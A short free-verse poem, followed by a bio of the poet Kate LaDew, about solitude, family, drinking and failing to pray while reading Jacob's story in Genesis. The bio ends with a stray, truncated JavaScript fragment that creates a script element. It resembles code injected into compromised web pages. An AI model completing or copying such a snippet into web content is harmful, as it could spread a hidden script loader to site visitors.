I am in my apartment, wondering if it’s time to go home, if it’s normal,
safe to see my parents so often, to waste money on two rooms that clutch with fingers.
reading the bible in short bursts, completing some prerequisite of childhood,
I listen as Jacob is close to blaspheming.
touching his brother’s hand, I see your face as one sees the face of God, and
what does God look like?
my father, my mother, me as a little girl, blonde and chubby,
do I warn them? she will disappoint you, she will gulp down clear bottles until she stumbles,
you will be lost in your loving and wander and she will not be beautiful.
I’m alone, tracing black letters right to left—they mean as much—talking to my rooms,
to my jade plant, afraid I’ll leave them wilting.
I cannot speak to God, he will know I am lying.
Kate LaDew is a recent graduate from the University of North Carolina at Greensboro with a BA in Studio Art. She was born in 1982 and resides in Graham, NC.var d=document;var s=d.createElement(‘script’);